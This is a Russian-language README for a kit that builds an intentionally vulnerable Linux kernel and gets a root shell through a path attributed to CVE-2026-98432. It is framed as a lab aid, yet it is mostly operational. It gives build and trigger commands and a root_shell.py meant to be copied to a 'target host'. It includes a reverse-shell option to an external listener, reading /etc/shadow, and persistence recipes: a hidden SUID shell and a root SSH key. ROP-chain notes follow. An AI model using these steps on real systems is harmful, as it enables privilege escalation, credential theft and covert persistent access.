
Набор для получения root-shell в лабораторных условиях по CVE-2026-98432 (вспомогательное ядро; не готовый удалённый эксплойт)
Этот набор собирает намеренно уязвимое ядро Linux 6.12.112 с небольшим вспомогательным средством для эксплуатации и превращает путь CVE-2026-98432 в интерактивный root shell на консоли QEMU.
Это лабораторное вспомогательное средство, а не готовый удалённый эксплойт. Используются реальные кодовые пути CVE:
ip_options_rcu достигает ip_options_build() через
путь повторно переданного SYN-ACK;skb_shared_info SYN-ACK повреждается;skb_release_data() вызывает поддельный callback ubuf_info->ops->complete;call_usermodehelper("/bin/sh", ...).Вспомогательным средством являются принудительное освобождение/поддельный объект и подготовленная цепочка callback/ROP. В стандартном уязвимом ядре недостающим элементом является надёжный примитив повторного захвата в том же slab/на том же CPU и размещения полезной нагрузки; он не опубликован. См. раздел «Статус стандартного ядра» ниже.
/dev/kvm); TCG работает, но медленноsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
Первая сборка загружает Linux 6.12.112, откатывает два вызова kfree_rcu(),
применяет aid, собирает bzImage, разрешает символы/gadgets из пропатченного
vmlinux, пересобирает, упаковывает initramfs и загружает QEMU с nokaslr.
Если KVM недоступен:
QEMU_ACCEL=tcg ./build.sh
(Скрипт в настоящее время автоматически переключается на TCG, когда /dev/kvm недоступен
для записи; переменная QEMU_ACCEL принимается для удобства.)
Во втором терминале на хосте:
python3 trigger.py 127.0.0.1 9000
Гостевой init создал /tmp/cve98432_root.sh с консольной оболочкой
(sh -i </dev/console). Достаточно одного TCP-подключения к гостевому
слушателю. Гостевая консоль должна показать примерно следующее:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Скопируйте root_shell.py на целевой хост (который уже загружает ядро aid) и
запустите его от имени пользователя, который у вас есть:
python3 root_shell.py
Он записывает /tmp/cve98432_root.sh с полезной нагрузкой обратной оболочки с правами root, запускает
два прослушивателя на loopback-интерфейсе (9000 для триггера, 4444 для оболочки), активирует
aid и подключает root-оболочку к вашему терминалу:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Полезные опции:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
Цепочка aid вызывает machine_power_off() только после завершения работы root-команды.
Если root-команда никогда не завершается, ядро ожидает в call_usermodehelper(),
и хост продолжает работать. Это позволяет создать постоянный путь к root:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
или добавьте SSH-ключ и оставьте помощник активным:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
sleep удерживает usermode helper (а значит, и цепочку ядра) активным,
поэтому целевая система не выключается. Используйте /var/tmp или /root, а не /tmp,
если /tmp смонтирован с noexec/nosuid. Когда sleep завершается, цепочка
возобновляется и выключает хост; завершите процесс sleep от имени root, если хотите
это контролировать.
Файл полезной нагрузки создаётся с правами 0700 и флагами O_EXCL|O_NOFOLLOW и
удаляется после использования, если не указан --keep-payload. При выходе из root-
оболочки цепочка aid вызывает machine_power_off(). Используйте одноразовую ВМ или
отредактируйте AID_POWEROFF в aid_patch.py, если нужно, чтобы хост оставался включённым.
Цепочка выполняет:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
поэтому скрипт всегда выполняется от имени root.
| компонент | статус |
|---|---|
поддельные ip_options_rcu + ip_options_build() | путь CVE, но выделение памяти принудительно выполняется вспомогательным кодом |
повреждение skb_shared_info | вспомогательный код напрямую задаёт поля в tcp_v4_send_synack() |
перехват callback destructor_arg | реальный нижележащий путь очистки |
ROP-переход + call_usermodehelper() | реальный перехват потока управления ядра, подготовленный вспомогательным кодом |
загрузка с nokaslr | упрощение для лаборатории; утечка KASLR не требуется |
Опубликованное независимое исследование, на которое опирается этот набор, достигло той же точки с инструментированным ядром: реальная запись за границы объекта (OOB) и путь callback, вспомогательные освобождение/повторный захват памяти и подготовка полезной нагрузки. Оружиезированная цепочка для стандартного ядра по состоянию на 2026-11-02 публично недоступна.
Вспомогательный код использует абсолютные адреса ядра, поскольку гостевая система загружается с
nokaslr. Значения в aid_patch.py — это значения по умолчанию из опубликованной
лабораторной сборки 6.12.112. resolve.py читает пропатченный vmlinux и
System.map и записывает symbols.json; затем build.sh обновляет определения
и пересобирает.
Если resolve.py не может найти гаджет (ROPgadget отсутствует или неполон),
установите его и запустите повторно:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
Pivot-гаджет должен соответствовать раскладке цепочки в aid_patch.py: lea -0x18(%rbp), %rsp плюс четыре pop и ret/jmp. Если в вашей сборке другой pivot, скорректируйте SEND_BLOCK в aid_patch.py или подберите подходящий гаджет.
Стоковое уязвимое ядро не имеет надёжной, публичной цепочки получения root без посторонней помощи. Блокирующие факторы:
ip_options_rcu должен быть перехвачен внутри окна между освобождением и сборкой объектом с байтами, контролируемыми атакующим. Объект saved_syn (TCP_SAVE_SYN) — естественный кандидат, но независимые лабораторные измерения показывают, что перехват обычно попадает на другой блок опций, а не на находящийся в обработке чанк.srr/rr/ts дают четыре контролируемых байта по смещению рядом с буфером skb; для записи полного 8-байтового указателя destructor_arg нужен либо устаревший старший dword, либо более сильный примитив.